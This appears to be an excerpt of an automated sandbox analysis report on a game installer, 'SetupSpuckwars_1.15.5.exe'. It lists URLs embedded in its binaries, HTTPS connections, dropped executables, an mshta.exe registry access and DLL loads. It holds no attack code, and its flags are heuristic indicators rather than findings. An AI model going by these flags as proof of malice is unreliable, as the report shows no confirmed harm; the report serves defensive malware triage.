Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7714
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7763
Source: libGLESv2.dll.0.drString found in binary or memory: https://bugs.fuchsia.dev/p/fuchsia/issues/detail?id=107106
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://chrome-devtools-frontend.appspot.com/
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://chrome-devtools-frontend.appspot.com/%s%s/%s/NetworkResourceLoaderstreamWriteInspectableWebC
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://chrome.cloudflare-dns.com/dns-query
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://chrome.cloudflare-dns.com/dns-queryone.one.one.one1dot1dot1dot1.cloudflare-dns.com1.1.1.11.0
Source: zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drString found in binary or memory: https://chrome.google.com/webstore/category/extensions
Source: fr.pak.0.drString found in binary or memory: https://chrome.google.com/webstore?hl=fr&category=theme81https://myactivity.google.com/myactivity/?u
Source: fr.pak.0.drString found in binary or memory: https://chrome.google.com/webstore?hl=frRaccourci
Source: sw.pak.0.drString found in binary or memory: https://chrome.google.com/webstore?hl=swUmeondoa
Source: zh-CN.pak.0.drString found in binary or memory: https://chrome.google.com/webstore?hl=zh-CN
Source: zh-CN.pak.0.drString found in binary or memory: https://chrome.google.com/webstore?hl=zh-CN&category=theme81https://myactivity.google.com/myactivity
Source: zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drString found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherEnabled
Source: zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drString found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl
Source: zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drString found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrl
Source: zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drString found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUrlGreylist
Source: zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drString found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUrlList
Source: zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drString found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUseIeSitelist
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://chromium.dns.nextdns.io
Source: libGLESv2.dll.0.drString found in binary or memory: https://chromium.googlesource.com/angle/angle/
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://cleanbrowsing.org/privacy
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://cleanbrowsing.org/privacyCleanBrowsing
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/1042393
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/1046462
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/1060012
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/1091824
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/1137851
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/1300575
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/593024
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/593024selectViewInGeometryShaderThe
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/650547
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/650547callClearTwiceUsing
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/655534
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/655534useSystemMemoryForConstantBuffersCopying
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/705865
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/710443
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/811661
Source: libGLESv2.dll.0.drString found in binary or memory: https://crbug.com/848952
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/Cloudflare
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://developers.google.com/speed/public-dns/privacy
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://developers.google.com/speed/public-dns/privacyGoogle
Source: spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns.google/dns-query
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns.quad9.net/dns-query
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns.quad9.net/dns-querydns.quad9.netdns9.quad9.net9.9.9.9149.112.112.1122620:fe::fe2620:fe::
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns.sb/privacy/
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns.sb/privacy/DNS.SBhttps://doh.dns.sb/dns-query
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns10.quad9.net/dns-query
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns10.quad9.net/dns-querydns10.quad9.net9.9.9.10149.112.112.102620:fe::102620:fe::fe:10
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns11.quad9.net/dns-query
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns11.quad9.net/dns-querydns11.quad9.net9.9.9.11149.112.112.112620:fe::112620:fe::fe:11PdEh
Source: spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dns64.dns.google/dns-query
Source: spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://dnsnl.alekberg.net/dns-query
Source: spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh-01.spectrum.com/dns-query
Source: spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh-02.spectrum.com/dns-query
Source: spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/adult-filter
Source: spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/family-filter
Source: spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/security-filter
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.cox.net/dns-query
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.cox.net/dns-querydot.cox.net68.105.28.1168.105.28.122001:578:3f::30
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.dns.sb/dns-query
Source: spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.familyshield.opendns.com/dns-query
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.opendns.com/dns-query
Source: spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.quickline.ch/dns-query
Source: spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://doh.xfinity.com/dns-query
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/161903006
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/166809097
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/184850002
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/187425444
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/220069903
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/220069903emulatePixelLocalStorageEmulate
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/229267970
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/250706693
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/253522366
Source: libGLESv2.dll.0.drString found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drString found in binary or memory: https://myactivity.google.com/
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://nextdns.io/privacy
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://odvr.nic.cz/doh
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://odvr.nic.cz/dohodvr.nic.cz185.43.135.1193.17.47.12001:148f:fffe::12001:148f:ffff::1
Source: sw.pak.0.drString found in binary or memory: https://passwords.google.comAkaunti
Source: fr.pak.0.drString found in binary or memory: https://passwords.google.comCompte
Source: zh-CN.pak.0.drString found in binary or memory: https://passwords.google.comGoogle
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://perfetto.dev/docs/contributing/getting-started#community).
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://perfetto.dev/docs/contributing/getting-started#community).No
Source: zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drString found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drString found in binary or memory: https://policies.google.com/
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://public.dns.iij.jp/
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://public.dns.iij.jp/IIJ
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://public.dns.iij.jp/dns-query
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://public.dns.iij.jp/dns-queryIijUShttps://nextdns.io/privacyNextDNShttps://chromium.dns.nextdn
Source: fr.pak.0.drString found in binary or memory: https://support.google.com/chrome/a/?p=block_warn
Source: zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drString found in binary or memory: https://support.google.com/chrome/answer/6098869
Source: zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drString found in binary or memory: https://support.google.com/chromebook?p=app_intent
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.cisco.com/c/en/us/about/legal/privacy-full.html
Source: zh-CN.pak.0.drString found in binary or memory: https://www.google.com/chrome/privacy/eula_text.html
Source: fr.pak.0.drString found in binary or memory: https://www.google.com/chrome/privacy/eula_text.htmlG
Source: sw.pak.0.drString found in binary or memory: https://www.google.com/chrome/privacy/eula_text.htmlInasimamiwa
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.nic.cz/odvr/
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.nic.cz/odvr/CZ.NIC
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.quad9.net/home/privacy/
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.quad9.net/home/privacy/Quad9
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443

System Summary

barindex
Drops large PE files
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile dump: spuckwars.exe.0.dr 162028032Jump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile dump: spuckwars.exe0.0.dr 162028032Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile dump: spuckwars.exe.2.dr 162028032Jump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeProcess token adjusted: SecurityJump to behavior
Source: libEGL.dll.0.drStatic PE information: Number of sections : 12 > 10
Source: libGLESv2.dll.0.drStatic PE information: Number of sections : 12 > 10
Source: spuckwars.exe.0.drStatic PE information: Number of sections : 16 > 10
Source: vk_swiftshader.dll.0.drStatic PE information: Number of sections : 12 > 10
Source: libGLESv2.dll0.0.drStatic PE information: Number of sections : 12 > 10
Source: spuckwars.exe.2.drStatic PE information: Number of sections : 16 > 10
Source: vulkan-1.dll.0.drStatic PE information: Number of sections : 12 > 10
Source: spuckwars.exe0.0.drStatic PE information: Number of sections : 16 > 10
Source: libEGL.dll0.0.drStatic PE information: Number of sections : 12 > 10
Source: ffmpeg.dll0.0.drStatic PE information: Number of sections : 11 > 10
Source: ffmpeg.dll.0.drStatic PE information: Number of sections : 11 > 10
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: ntshrui.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uiautomationcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: kbdus.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: windows.ui.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: windowmanagementapi.dllJump to behavior
